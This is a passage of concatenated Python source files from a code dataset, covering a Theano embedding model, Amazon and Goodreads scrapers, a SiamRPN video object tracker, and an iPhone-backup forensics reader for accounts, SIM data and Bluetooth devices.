backwards=True, learn_init=True, gradient_steps=-1, grad_clipping=GRAD_CLIP, unroll_scan=False, precompute_input=True, mask_input=l_mask)\n\n # Slice final states\n l_f_source = lasagne.layers.SliceLayer(l_fgru_source, -1, 1)\n l_b_source = lasagne.layers.SliceLayer(l_bgru_source, 0, 1)\n\n # Dense\n l_concat = lasagne.layers.ConcatLayer((l_f_source,l_b_source),axis=1)\n if bias:\n l_c2w_source = lasagne.layers.DenseLayer(l_concat, WDIM, W=params['W_c2w'], b=params['b_c2w'], nonlinearity=NL3)\n else:\n l_c2w_source = lasagne.layers.DenseLayer(l_concat, WDIM, W=params['W_c2w'], b=None, nonlinearity=NL3)\n\n emb_lhs = lasagne.layers.get_output(l_c2w_source, inputs={l_in_source: word, l_mask: mask})\n emb_lhsn = lasagne.layers.get_output(l_c2w_source, inputs={l_in_source: wordn, l_mask: maskn})\n return word, mask, wordn, maskn, emb_lhs, emb_lhsn, l_c2w_source\n #return word, mask, l_c2w_source # return input variables and output variables\n\n# by Yuxing Zhang\ndef embedding_rhs(params, n_rhs, emb_dim):\n '''\n Embedding part for right hand side entity embedding and right hand side negative entity embedding\n\n :param params: dict to store parameters\n '''\n # input variables that is right hand side entity\n emb_in_rhs = T.ivector() # B * 1 vector, where each row is a number between 0 and (n_rhs - 1) as the index\n emb_in_rhsn = T.ivector() # B * 1 vector, where each row is a number between 0 and (n_rhs - 1) as the index\n\n # Input layer over entity\n l_in_rhs = lasagne.layers.InputLayer(shape=(N_BATCH, ), name = 'rhs_input') # removing input_var to reuse it for negative rhs\n\n # Embedding layer for rhs entity, and emb_dim should equal # the embedding dimension from RNN model.\n l_emb_rhs = lasagne.layers.EmbeddingLayer(l_in_rhs, input_size=n_rhs, output_size=emb_dim, W=params['W_emb_rhs'])\n\n return emb_in_rhs, emb_in_rhsn, lasagne.layers.get_output(l_emb_rhs, emb_in_rhs), lasagne.layers.get_output(l_emb_rhs, emb_in_rhsn)\n\n# by Yuxing Zhang\ndef embedding_rel(params, n_rel, emb_dim):\n '''\n Embedding part for right hand side entity embedding\n\n :param params: dict to store parameters\n '''\n # input variables that is the relation index\n emb_in_rel = T.ivector() # B * 1 vector, where each row is a number between 0 and (n_rel - 1) as the index\n\n # Input layer over relation\n l_in_rel = lasagne.layers.InputLayer(shape=(N_BATCH, ), input_var=emb_in_rel, name = 'rel_input')\n\n # Embedding layer for relation, and emb_dim should equal # the embedding dimension from RNN model.\n l_emb_rel = lasagne.layers.EmbeddingLayer(l_in_rel, input_size=n_rel, output_size=emb_dim, W=params['W_emb_rel'])\n\n return emb_in_rel, lasagne.layers.get_output(l_emb_rel)\n\ndef load_params(path):\n \"\"\"\n Load previously saved model\n \"\"\"\n params = OrderedDict()\n\n with open(path,'r') as f:\n npzfile = np.load(f)\n for kk, vv in npzfile.iteritems():\n params[kk] = vv\n\n return params\n\ndef load_params_shared(path):\n \"\"\"\n Load previously saved model\n \"\"\"\n params = OrderedDict()\n\n with open(path,'r') as f:\n npzfile = np.load(f)\n for kk, vv in npzfile.iteritems():\n params[kk] = theano.shared(vv, name=kk)\n\n return params\n","sub_path":"rnn_model/model_rnn.py","file_name":"model_rnn.py","file_ext":"py","file_size_in_byte":14593,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"267727836","text":"from urllib.parse import urljoin\nfrom pyquery import PyQuery as pq\nfrom pprint import pprint\nimport urllib.parse as ul\nimport urllib.request\n\nurl = 'https://www.amazon.co.jp/s/ref=nb_sb_noss?__mk_ja_JP=%E3%82%AB%E3%82%BF%E3%82%AB%E3%83%8A&url=search-alias%3Dinstant-video&field-keywords='\nurl += ul.quote(\"テスト\")\n\nprint(url)\n\ndom = pq(url)\nresult = set()\nfor img in dom('img').items():\n img_url = img.attr['src']\n if img_url.startswith('http'):\n result.add(img_url)\n else:\n result.add(urljoin(url, img_url))\n\npprint(result)\n\n#a-size-medium\n\ncount = 0\nfor tmp in result:\n urllib.request.urlretrieve(tmp,\"{0}\".format(str(count)+tmp[len(tmp)-4:]))\n count += 1\n","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":691,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"341964457","text":"import numpy as np\nfrom PIL import Image\n\n\n# Creating the metadata file with labels\ndef create_metadata(embed, size):\n with open(embed.metadata_path, 'w') as handle:\n for i in range(size):\n handle.write(\"1\\n\")\n\n\n# Creating the sprites for the visualizer\ndef create_sprites(embed, images, sprite_size):\n image_count = np.shape(images)[0]\n size = int(np.ceil(np.sqrt(image_count)))\n sprites = Image.new('L', (size * sprite_size, size * sprite_size))\n for i in range(image_count):\n new_image = Image.fromarray(np.uint8(images[i, :, :] * 255))\n position = ((i % size) * sprite_size, (i // size) * sprite_size)\n sprites.paste(new_image, position)\n sprites.save(embed.sprite.image_path)\n","sub_path":"TF_VAE_LSTM/embedding_visualizer.py","file_name":"embedding_visualizer.py","file_ext":"py","file_size_in_byte":738,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"574751877","text":"import requests\nimport time\nimport pandas as pd\n\nimport multiprocessing\nfrom multiprocessing import Pool\nimport argparse\nimport sys\n\nfrom bs4 import BeautifulSoup\n\n\ndef convert_number(num):\n num = num.replace(\",\",\"\")\n return float(num)\n\n\ndef create_rating_data():\n url_book = []\n book_title = []\n username = []\n user_url = []\n user_rating = []\n \n return url_book, book_title, username, user_url, user_rating\n\n\ndef multi_run_wrapper(args):\n return get_info_rating_each_page(*args)\n\n\ndef get_info_rating_each_page(nickname, page, temp_username, temp_user_url):\n \n source = requests.get(\"https://www.goodreads.com/review/list/{}?page={}&print=true&shelf=read&sort=date_added&view=table\".format(nickname, page))\n soup = BeautifulSoup(source.text, 'html.parser')\n\n url_book, book_title, username, user_url, user_rating = create_rating_data()\n\n try:\n temp = soup.find(\"tbody\", {\"id\": \"booksBody\"})\n temp = temp.findAll(\"tr\", {\"class\": \"bookalike review\"})\n except:\n return None\n \n for (id, book) in enumerate(temp):\n try:\n url_book.append(\"https://www.goodreads.com\" + str(book.find(\"td\", {\"class\": \"field title\"}).find(\"a\").get(\"href\")))\n except:\n url_book.append(None)\n try:\n book_title.append(str(book.find(\"td\", {\"class\": \"field title\"}).find(\"a\").contents[0]).strip())\n except:\n book_title.append(None)\n try:\n user_rating.append(len(book.find(\"td\", {\"class\": \"field rating\"}).findAll(\"span\", {\"class\": \"staticStar p10\"})))\n except:\n user_rating.append(None)\n \n username.append(temp_username)\n user_url.append(\"https://www.goodreads.com\" + temp_user_url)\n\n return pd.DataFrame({\"url_book\": url_book, \"book_title\": book_title, \"username\": username, \n \"user_url\": user_url, \"user_rating\": user_rating})\n\n\ndef get_user_rating_book(nickname):\n\n user_rating_book = pd.DataFrame({\"url_book\": [], \"book_title\": [], \"username\": [], \n \"user_url\": [], \"user_rating\": []})\n \n source = requests.get(\"https://www.goodreads.com/review/list/{}?page=1&print=true&shelf=read&sort=date_added&view=table\".format(nickname))\n soup = BeautifulSoup(source.text, 'html.parser')\n \n try:\n temp = soup.find(\"div\", {\"id\": \"header\"}).findAll(\"a\")\n except:\n return None\n \n temp_username = str(temp[1].contents[0])\n temp_user_url = str(temp[1].get(\"href\"))\n\n try:\n pages = min(100, int(soup.find(\"div\", {\"id\": \"reviewPagination\"}).findAll(\"a\")[-2].contents[0]))\n except:\n pages = 1\n\n inputs = [(nickname, i, temp_username, temp_user_url) for i in range(1, pages + 1)]\n \n url_book, book_title, username, user_url, user_rating = create_rating_data()\n\n pool = Pool()\n\n user_rating_book = pd.concat(pool.map(multi_run_wrapper, inputs), ignore_index = True)\n \n\n return user_rating_book\n\n\nif __name__ == '__main__':\n\n __spec__ = \"ModuleSpec(name='builtins', loader=)\"\n \n parser = argparse.ArgumentParser()\n\n parser.add_argument(\"--nickname\", \"-name\", type=str, help=\"set nickname\")\n\n\n args = parser.parse_args()\n\n \n user_rating_book = get_user_rating_book(args.nickname)\n \n if user_rating_book is not None:\n user_rating_book.to_csv(\"user_rating_book.csv\", mode = \"a\", index = False, header = False, encoding = \"utf-8\")\n \n","sub_path":"source/crawl_user_rating.py","file_name":"crawl_user_rating.py","file_ext":"py","file_size_in_byte":3531,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"431194070","text":"##\n## connect the object detections in multiple video frames\n## obtained by a pretrained object detector\n##\n## Author: Abhishek Dutta \n## Date: 10 Dec. 2018\n##\n\nimport threading\nimport os\nimport csv\nimport json # for debug\nimport cv2\nimport numpy as np\nimport math\nimport urllib.request # to download model file\nimport shutil # to copy files\n\nimport svt.models as models\nimport torch\nfrom functools import partial\nimport pickle\nfrom torch.autograd import Variable\nimport torch.nn.functional as F\n\nclass siamrpn_tracker():\n def __init__(self, model_path=None, config=None):\n if model_path is None:\n raise ValueError('model_path must be provided')\n else:\n self.model_path = model_path\n\n self.state = {} # state of the tracker initialized with a template\n self.pretrained_model = {} # placeholder for pretrained model loaded into CPU or GPU\n self.config = config\n self.use_gpu = True\n\n if self.config['download_model_if_missing']:\n self._download_model_if_missing(model_url=self.config['model_url'],\n model_path=self.model_path,\n force_update=self.config['force_model_download'])\n\n self._setup_gpu()\n self._preload_model();\n\n def init_tracker(self, template_img, template_bbox):\n self.state = {}\n template_bbox = [ int(template_bbox[1]),\n int(template_bbox[2]),\n int(template_bbox[3]),\n int(template_bbox[4]) ]\n\n ## Initialize state with pytorch model\n self.state['model'] = self.pretrained_model;\n self._init_tracker_with_template(template_img, template_bbox);\n\n def track(self, search):\n context_length = 0.5 * ( self.state['target_size'][0] + self.state['target_size'][1] )\n search_square_crop_size = np.sqrt( (self.state['target_size'][0] + context_length) * (self.state['target_size'][1] + context_length) )\n scale_z = self.state['model_template_size'] / search_square_crop_size\n search_pad = ( self.state['model_search_size'] - self.state['model_template_size'] ) / 2\n search_pad_scaled = search_pad / scale_z\n search_length = self._round_python27( search_square_crop_size + 2*search_pad_scaled )\n\n search_subwindow = self._transform_img_for_model_input(search,\n self.state['target_position'],\n self.state['model_search_size'],\n search_length,\n self.state['template_img_channel_avg'])\n\n # track object\n search_subwindow_tensor = Variable( search_subwindow.unsqueeze(0) )\n\n if self.use_gpu:\n score, delta = self.state['model'].track( search_subwindow_tensor.cuda() )\n else:\n score, delta = self.state['model'].track( search_subwindow_tensor )\n\n search_pos = self.state['target_position']\n search_size = self.state['target_size'] * scale_z\n\n delta = delta.permute(1, 2, 3, 0).contiguous().view(4, -1).data.cpu().numpy()\n score = F.softmax(score.permute(1, 2, 3, 0).contiguous().view(2, -1).permute(1, 0), dim=1).data[:, 1].cpu().numpy()\n\n delta[0, :] = delta[0, :] * self.state['anchors'][:, 2] + self.state['anchors'][:, 0]\n delta[1, :] = delta[1, :] * self.state['anchors'][:, 3] + self.state['anchors'][:, 1]\n delta[2, :] = np.exp(delta[2, :]) * self.state['anchors'][:, 2]\n delta[3, :] = np.exp(delta[3, :]) * self.state['anchors'][:, 3]\n\n def change(r):\n return np.maximum(r, 1./r)\n\n def sz(w, h):\n pad = (w + h) * 0.5\n sz2 = (w + pad) * (h + pad)\n return np.sqrt(sz2)\n\n def sz_wh(wh):\n pad = (wh[0] + wh[1]) * 0.5\n sz2 = (wh[0] + pad) * (wh[1] + pad)\n return np.sqrt(sz2)\n\n # size penalty\n s_c = change( sz(delta[2, :], delta[3, :]) / sz_wh(search_size) ) # scale penalty\n r_c = change( (search_size[0] / search_size[1]) / (delta[2, :] / delta[3, :]) ) # ratio penalty\n\n penalty = np.exp(-(r_c * s_c - 1) * self.state['penalty_k'])\n pscore = penalty * score\n\n # window float\n pscore = pscore * (1 - self.state['window_influence']) + self.state['window'] * self.state['window_influence']\n best_pscore_id = np.argmax(pscore)\n\n target = delta[:, best_pscore_id] / scale_z\n search_size = search_size / scale_z\n lr = penalty[best_pscore_id] * score[best_pscore_id] * self.state['lr'] # lr for OTB\n\n res_x = target[0] + search_pos[0]\n res_y = target[1] + search_pos[1]\n\n res_w = search_size[0] * (1 - self.state['lr']) + target[2] * self.state['lr']\n res_h = search_size[1] * (1 - self.state['lr']) + target[3] * self.state['lr']\n\n new_target_position = np.array([res_x, res_y])\n new_target_size = np.array([res_w, res_h])\n new_target_position[0] = max(0, min(self.state['image_width'] , new_target_position[0]))\n new_target_position[1] = max(0, min(self.state['image_height'], new_target_position[1]))\n new_target_size[0] = max(10, min(self.state['image_width'], new_target_size[0]))\n new_target_size[1] = max(10, min(self.state['image_height'], new_target_size[1]))\n\n # update state\n self.state['target_position'] = new_target_position\n self.state['target_size'] = new_target_size\n self.state['score'] = score[best_pscore_id]\n\n self.state['track_count'] = self.state['track_count'] + 1\n return new_target_position, new_target_size, score[best_pscore_id]\n\n def _download_model_if_missing(self, model_url, model_path, force_update=False):\n try:\n if force_update:\n self._download_latest_model(model_url, model_path)\n else:\n if not os.path.exists(model_path) or os.path.getsize(model_path) == 0:\n self._download_latest_model(model_url, model_path)\n except:\n raise ValueError('Failed to download tracker model file')\n\n def _download_latest_model(self, url, file_path):\n try:\n print('Downloading latest model file from [%s]' % (url))\n # create parent folder in file_path, if it does not exist\n file_path_parent = os.path.dirname(file_path)\n if not os.path.isdir(file_path_parent):\n os.makedirs(file_path_parent)\n with urllib.request.urlopen(url) as response, open(file_path, 'wb') as f:\n print('Saving latest model to [%s]' % (file_path))\n shutil.copyfileobj(response, f)\n except:\n raise ValueError('Failed to download tracker model file from [%s] and save to [%s]' % (url, file_path))\n\n def _setup_gpu(self):\n try:\n if torch.cuda.is_available() and self.config['gpu_id'] != -1:\n self.use_gpu = True\n self.device = torch.device('cuda:' + str(self.config['gpu_id']))\n if self.config['verbose']:\n print('Using GPU %d' % (self.config['gpu_id']))\n else:\n self.use_gpu = False\n self.gpu_id = -1\n self.device = torch.device('cpu')\n if self.config['verbose']:\n print('Using CPU only')\n except:\n raise ValueError('Failed to setup GPU %d' %(self.config['gpu_id']))\n\n def _load_image(self, fn):\n im = cv2.imread(fn)\n return im\n\n ## routines to preload pytorch model\n def _preload_model(self):\n if self.config['verbose']:\n print('Preloading model [ %s ] ... ' % (self.model_path), end='', flush=True)\n\n ## @todo: get rid of absolute path to model file\n ## load configuration\n cfg_json_str = '''\n {\n \"anchors\": {\n \"stride\": 8,\n \"ratios\": [0.33, 0.5, 1, 2, 3],\n \"scales\": [8],\n \"round_dight\": 0\n },\n \"hp\": {\n \"instance_size\": 255,\n \"search_model\": \"adapation\",\n \"penalty_k\": 0.31,\n \"window_influence\": 0.448,\n \"lr\": 0.14\n }\n }'''\n cfg = json.loads(cfg_json_str)\n self.pretrained_model = models.Custom(anchors=cfg['anchors'])\n self._load_pretrained_model(self.model_path)\n self.pretrained_model.to(self.device) # move the pretrained model to GPU (if available)\n if self.config['verbose']:\n print('done', flush=True)\n\n def _check_keys(self, model, pretrained_state_dict):\n ckpt_keys = set(pretrained_state_dict.keys())\n model_keys = set(model.state_dict().keys())\n used_pretrained_keys = model_keys & ckpt_keys\n unused_pretrained_keys = ckpt_keys - model_keys\n missing_keys = model_keys - ckpt_keys\n\n #print('missing keys:')\n #print(missing_keys)\n #print('unused checkpoint keys:{}'.format(len(unused_pretrained_keys)))\n #print('used keys:{}'.format(len(used_pretrained_keys)))\n assert len(used_pretrained_keys) > 0, 'load NONE from pretrained checkpoint'\n return True\n\n def _remove_prefix(self, state_dict, prefix):\n ''' Old style model is stored with all names of parameters share common prefix 'module.' '''\n f = lambda x: x.split(prefix, 1)[-1] if x.startswith(prefix) else x\n return {f(key): value for key, value in state_dict.items()}\n\n\n def _load_pretrained_model(self, pretrained_path):\n ## bug fix\n ## see https://github.com/CSAILVision/places365/issues/25#issuecomment-333871990\n pickle.load = partial(pickle.load, encoding=\"latin1\")\n pickle.Unpickler = partial(pickle.Unpickler, encoding=\"latin1\")\n #model = torch.load(model_file, map_location=lambda storage, loc: storage, pickle_module=pickle)\n\n #pretrained_dict = torch.load(pretrained_path, map_location=lambda storage, loc: storage.cuda(self.device), pickle_module=pickle)\n if self.use_gpu:\n pretrained_dict = torch.load(pretrained_path,\n map_location=lambda storage,\n loc: storage.cuda(),\n pickle_module=pickle)\n else:\n pretrained_dict = torch.load(pretrained_path,\n map_location=lambda storage,\n loc: storage.cpu(),\n pickle_module=pickle)\n\n if \"state_dict\" in pretrained_dict.keys():\n pretrained_dict = self._remove_prefix(pretrained_dict['state_dict'], 'module.')\n else:\n pretrained_dict = self._remove_prefix(pretrained_dict, 'module.')\n self._check_keys(self.pretrained_model, pretrained_dict)\n self.pretrained_model.load_state_dict(pretrained_dict, strict=False)\n\n # see: https://github.com/python/cpython/blob/master/Python/pymath.c\n def _copysign_python27(self, x, y):\n if ( y > 0. or ( y == 0. and math.atan2(y, -1.) > 0. ) ):\n return math.fabs(x);\n else:\n return -math.fabs(x);\n\n #\n # `round()` method in python:\n # if python2.7, round(0.5) = 1.0\n # [if two multiples are equally close, rounding is done away from 0 -- https://docs.python.org/2/library/functions.html#round]\n # if python3.7, round(0.5) = 0.0\n # [if two multiples are equally close, rounding is done toward the even choice -- https://docs.python.org/3/library/functions.html#round]\n #\n def _round_python27(self, x):\n absx = math.fabs(x)\n y = math.floor(absx)\n if ( absx - y >= 0.5 ):\n y += 1.0\n return self._copysign_python27(y, x)\n\n # To track an object, the user selects a region containing this object in a\n # given image frame. This region is called template. The user selected template\n # can be of any size and aspect ratio. Therefore, this template needs to be\n # transformed into an image size that is accepted as input to the model\n #\n # Input\n # img full frame image containing the template\n # bbox_center center coordinates of the bounding box containing the template\n # model_square_input_size size of the model input (square shaped image) for template\n # square_crop_size size of the square to which the user selected template is expanded (to get additional context)\n # Returns\n # a square image of size [model_square_input_size x model_square_input_size]\n # containing the user selected object and some context around it\n def _transform_img_for_model_input(self, img, bbox_center, model_square_input_size, square_crop_size, img_channel_avg):\n # if the template is near image boundary, image channel average of the\n # template image is used to fill the empty regions\n if isinstance(bbox_center, float):\n bbox_center = [bbox_center, bbox_center]\n\n template_width = img.shape[0]\n template_height = img.shape[1]\n template_center_to_boundary_length = (square_crop_size + 1) / 2\n context_xmin = self._round_python27(bbox_center[0] - template_center_to_boundary_length)\n context_xmax = context_xmin + square_crop_size - 1\n context_ymin = self._round_python27(bbox_center[1] - template_center_to_boundary_length)\n context_ymax = context_ymin + square_crop_size - 1\n left_pad = int( max(0., -context_xmin) )\n top_pad = int(max(0., -context_ymin))\n right_pad = int(max(0., context_xmax - template_height + 1))\n bottom_pad = int(max(0., context_ymax - template_width + 1))\n\n context_xmin = context_xmin + left_pad\n context_xmax = context_xmax + left_pad\n context_ymin = context_ymin + top_pad\n context_ymax = context_ymax + top_pad\n\n r, c, k = img.shape\n if any([top_pad, bottom_pad, left_pad, right_pad]):\n ## fill average image colour if the template region is near the boundary of image\n te_im = np.zeros((r + top_pad + bottom_pad, c + left_pad + right_pad, k), np.uint8) # 0 is better than 1 initialization\n te_im[top_pad:top_pad + r, left_pad:left_pad + c, :] = img\n if top_pad:\n te_im[0:top_pad, left_pad:left_pad + c, :] = img_channel_avg\n if bottom_pad:\n te_im[r + top_pad:, left_pad:left_pad + c, :] = img_channel_avg\n if left_pad:\n te_im[:, 0:left_pad, :] = img_channel_avg\n if right_pad:\n te_im[:, c + left_pad:, :] = img_channel_avg\n square_img_data = te_im[int(context_ymin):int(context_ymax + 1), int(context_xmin):int(context_xmax + 1), :]\n else:\n square_img_data = img[int(context_ymin):int(context_ymax + 1), int(context_xmin):int(context_xmax + 1), :]\n\n if not np.array_equal(model_square_input_size, square_crop_size):\n model_input = cv2.resize(square_img_data, (model_square_input_size, model_square_input_size))\n else:\n model_input = square_img_data\n\n model_input_tensor = torch.from_numpy( np.transpose(model_input, (2, 0, 1)) ).float() # Channel x Height x Width\n\n return model_input_tensor\n\n ## generate anchors\n ## [arguments]\n ## total_stride : (search_input_size - template_input_size) / total_stride + 1 = size of square feature map\n ## anchor_scale_list : list of scales by which all initial anchors will be scaled\n ## anchor_aspect_ratio_list : list of aspect ratio for all initial anchors\n ## square_feature_map_length : the dimension of final scores generated by classification and regression branches of region proposal network\n ##\n ## [description]\n ## the area of all generated anchors must be same as the area of initial anchor\n ## therefore, for all generate anchors of dimension Aw x Ah, and aspect ratio = aspect_ratio\n ## Ah = Aw * aspect_ratio ---- (1) by definition of aspect ratio\n ## Aw * Ah = initial_anchor_area ---- (2) because the area of anchor remains constant\n ##\n ## where, initial_anchor_area = 4 * total_stride\n ##\n ## Therefore, substituting values of aspect_ratio and initial_anchor_area in (1) and (2)\n ## and substituting (1) in (2), we get\n ##\n ## Aw * Aw * aspect_ratio = initial_anchor_area\n ## or, Aw = sqrt( initial_anchor_area / aspect_ratio )\n ## and substituting value of Aw in (2), we get the value of Ah of the new anchor\n ##\n ## we scale each anchor using the scale provided in anchor_scale_list\n def _generate_anchor(self, total_stride, anchor_scale_list, anchor_aspect_ratio_list, square_feature_map_length):\n anchor_count = len(anchor_aspect_ratio_list) * len(anchor_scale_list)\n anchors = np.zeros((anchor_count, 4), dtype=np.float32)\n initial_anchor_area = total_stride * total_stride;\n anchor_count = 0\n for anchor_aspect_ratio in anchor_aspect_ratio_list:\n anchor_width = int( np.sqrt( initial_anchor_area / anchor_aspect_ratio ) )\n anchor_height = int( anchor_width * anchor_aspect_ratio )\n for anchor_scale in anchor_scale_list:\n anchor_scaled_height = anchor_height * anchor_scale\n anchor_scaled_width = anchor_width * anchor_scale\n anchors[anchor_count, 0] = 0 # will be updated later\n anchors[anchor_count, 1] = 0 # will be updated later\n anchors[anchor_count, 2] = anchor_scaled_width\n anchors[anchor_count, 3] = anchor_scaled_height\n anchor_count = anchor_count + 1\n\n feature_map_anchors = np.zeros( (anchor_count, square_feature_map_length, square_feature_map_length, 4), dtype=np.float32 )\n center_of_feature_map = (square_feature_map_length - 1 ) / 2 # Li uses ori = square_feature_map_length / 2\n offset_from_center_of_feature_map = -center_of_feature_map * total_stride;\n\n for anchor_index in range(anchor_count):\n anchor = anchors[anchor_index]\n for i in range(square_feature_map_length):\n for j in range(square_feature_map_length):\n anchors_ij = np.copy(anchor)\n # update the (x,y) coordinate of each anchor for feature map location (i,j)\n anchors_ij[0] = offset_from_center_of_feature_map + total_stride * j\n anchors_ij[1] = offset_from_center_of_feature_map + total_stride * i\n feature_map_anchors[anchor_index, i, j] = anchors_ij\n\n feature_map_anchors = np.reshape(feature_map_anchors, (-1, 4)) # collapse the (i,j) dimension of feature map as it is not needed\n return feature_map_anchors\n\n def _init_tracker_with_template(self, template, template_bbox):\n self.state['model'].eval();\n if self.use_gpu:\n self.state['model'] = self.state['model'].cuda();\n\n self.state['image_width'] = template.shape[1]\n self.state['image_height'] = template.shape[0]\n\n target_cx = template_bbox[0] + template_bbox[2]/2\n target_cy = template_bbox[1] + template_bbox[3]/2\n target_w = template_bbox[2]\n target_h = template_bbox[3]\n\n self.state['template_position'] = np.array( [target_cx, target_cy] )\n self.state['template_size'] = np.array( [target_w , target_h ] )\n\n self.state['target_position'] = self.state['template_position']\n self.state['target_size'] = self.state['template_size']\n self.state['model_template_size'] = 127 # 127x127\n self.state['model_search_size'] = 255 # 255x255\n self.state['total_stride'] = 8\n self.state['penalty_k'] = 0.31\n self.state['window_influence'] = 0.448\n self.state['lr'] = 0.14\n self.state['search_model'] = 'adaption'\n self.state['anchor_aspect_ratio_list'] = [0.33, 0.5, 1, 2, 3]\n self.state['anchor_scale_list'] = [8, ]\n self.state['anchor_count'] = len(self.state['anchor_aspect_ratio_list']) * len(self.state['anchor_scale_list'])\n\n if self.state['search_model'] == 'adaption':\n if ( (self.state['target_size'][0] * self.state['target_size'][1]) / (float(self.state['image_width'] * self.state['image_height'])) ) < 0.004:\n self.state['model_search_size'] = 287 # small object big search region\n else:\n self.state['model_search_size'] = 271\n\n # 17x17 for model_search_size = 255\n # 19x19 for model_search_size = 271 # OTB2017 dataset\n self.state['square_feature_map_length'] = int( (self.state['model_search_size'] - self.state['model_template_size']) / self.state['total_stride'] + 1)\n\n self.state['anchors'] = self._generate_anchor(self.state['total_stride'],\n self.state['anchor_scale_list'],\n self.state['anchor_aspect_ratio_list'],\n self.state['square_feature_map_length'])\n self.state['context'] = 0.5\n context_length = 0.5 * ( self.state['target_size'][0] + self.state['target_size'][1] )\n square_crop_size = round( np.sqrt( (self.state['target_size'][0] + context_length) * (self.state['target_size'][1] + context_length) ) ) # see equation (15) of [Li et al. 2018]\n\n ## initialize model with template image\n self.state['template_img_channel_avg'] = np.mean(template, axis=(0, 1))\n\n template_subwindow = self._transform_img_for_model_input(template,\n self.state['target_position'],\n self.state['model_template_size'],\n square_crop_size,\n self.state['template_img_channel_avg'])\n\n template_subwindow_tensor = Variable(template_subwindow.unsqueeze(0))\n\n if self.use_gpu:\n self.state['model'].temple( template_subwindow_tensor.cuda() )\n else:\n self.state['model'].temple( template_subwindow_tensor )\n\n # cosine window\n self.state['window'] = np.outer(np.hanning(self.state['square_feature_map_length']), np.hanning(self.state['square_feature_map_length']))\n self.state['window'] = np.tile(self.state['window'].flatten(), self.state['anchor_count'])\n\n self.state['track_count'] = 0\n","sub_path":"face_detector/svt/svt/siamrpn_tracker.py","file_name":"siamrpn_tracker.py","file_ext":"py","file_size_in_byte":21499,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"650154161","text":"import os\nimport pathlib\nimport sqlite3\nimport plistlib\nimport src.util\n\n# def apple_note():\n\n# # Apple Note Artifact\n# # C:\\Users\\pental\\Desktop\\iphone-forensics\\extract_file\\AppDomainGroup-group.com.apple.notes\\NoteStore.sqlite\n\n# apple_note_location = pathlib.Path(str(pathlib.Path(os.getcwd() + \"/extract_file/AppDomainGroup-group.com.apple.notes\")) + \"\\\\NoteStore.sqlite\")\n \n# conn = sqlite3.connect(apple_note_location)\n# cur_calendaritem = conn.cursor()\n# cur_calendaritem.execute(\"SELECT summary, start_date, end_date FROM CalendarItem\")\n# calendaritem = cur_calendaritem.fetchall()\n# calendar = []\n\ndef apple_accounts():\n\n # Apple Accounts Artifact\n # C:\\Users\\pental\\Desktop\\iphone-forensics\\extract_file\\HomeDomain\\Library\\Accounts\\Accounts3.sqlite\n\n apple_accounts_location = pathlib.Path(str(pathlib.Path(os.getcwd() + \"/extract_file/HomeDomain/Library/Accounts\")) + \"\\\\Accounts3.sqlite\")\n \n conn = sqlite3.connect(apple_accounts_location)\n cur_zaccount = conn.cursor()\n cur_zaccount.execute(\"SELECT ZUSERNAME, ZIDENTIFIER, ZDATE, ZACCOUNTDESCRIPTION, ZACCOUNTTYPE FROM ZACCOUNT\")\n zaccount = cur_zaccount.fetchall()\n\n cur_zaccount_type = conn.cursor()\n cur_zaccount_type.execute(\"SELECT Z_PK, ZACCOUNTTYPEDESCRIPTION, ZCREDENTIALTYPE FROM ZACCOUNTTYPE\")\n zaccount_type = cur_zaccount_type.fetchall()\n\n zaccount = list(zaccount)\n apple_account = zaccount\n for i in range(len(zaccount)) :\n zaccount[i] = list(zaccount[i])\n for i in range(len(zaccount)) :\n for j in range(len(zaccount_type)) :\n if zaccount[i][4] == zaccount_type[j][0] :\n apple_account[i].append(zaccount_type[j][1])\n apple_account[i].append(zaccount_type[j][2])\n\n print(\"\\n========== PRINT_TYPE ==========\")\n print(\"'USERNAME' , 'IDENTIFIER', 'DATE', 'ACCOUNT_DESCRIPTION', 'ACCOUNT_TYPE', 'ACCOUNT_TYPE_DESCRIPTION', 'CREDENTIAL_TYPE'\")\n print(\"================================\\n\")\n \n for i in range(len(apple_account)) :\n apple_account[i][2] = src.util.cocoa_date_to_human_date(apple_account[i][2])\n print(apple_account[i])\n\ndef sim_card():\n\n # SIM Card Artifact\n # C:\\Users\\pental\\Desktop\\iphone-forensics\\extract_file\\WirelessDomain\\Library\\Databases\\CellularUsage.db\n\n sim_card_location = pathlib.Path(str(pathlib.Path(os.getcwd() + \"/extract_file/WirelessDomain/Library/Databases\")) + \"\\\\CellularUsage.db\")\n \n conn = sqlite3.connect(sim_card_location)\n cur_subcriber_info = conn.cursor()\n cur_subcriber_info.execute(\"SELECT subscriber_id, subscriber_mdn, last_update_time FROM subscriber_info\")\n subcriber_info = cur_subcriber_info.fetchall()\n \n print(\"\\n========== PRINT_TYPE ==========\")\n print(\"'ICCID' , 'Phone Number', 'DATE'\")\n print(\"================================\\n\")\n # sim_card = list(subcriber_info)\n sim_card = []\n for i in range(3) :\n sim_card.append(subcriber_info[0][i])\n\n sim_card[2] = src.util.cocoa_date_to_human_date(sim_card[2])\n\n print(\"ICCID : \", sim_card[0])\n print(\"Phone Number : \", sim_card[1])\n print(\"Last Update Time : \", sim_card[2])\n\ndef bluetooth() :\n\n # Bluetooth Artifact\n # C:\\Users\\pental\\Desktop\\iphone-forensics\\extract_file\\SysSharedContainerDomain-systemgroup.com.apple.bluetooth\\Library\\Preferences\\com.apple.MobileBluetooth.devices.plist\n\n bluetooth_device = plistlib.readPlist(str(pathlib.Path(os.getcwd() + \"/extract_file/SysSharedContainerDomain-systemgroup.com.apple.bluetooth/Library/Preferences/com.apple.MobileBluetooth.devices.plist\")))\n bluetooth_device_mac_address = []\n for i in bluetooth_device :\n bluetooth_device_mac_address.append(i)\n bluetooth = []\n for i in range(len(bluetooth_device)) :\n Mac = bluetooth_device_mac_address[i]\n if (bluetooth_device[str(bluetooth_device_mac_address[i])].get(\"Name\", \"NULL\")) == \"NULL\" :\n Name = \"NULL\"\n else :\n # print(bluetooth_device[str(bluetooth_device_mac_address[i])][\"Name\"])\n Name = bluetooth_device[str(bluetooth_device_mac_address[i])][\"Name\"]\n if 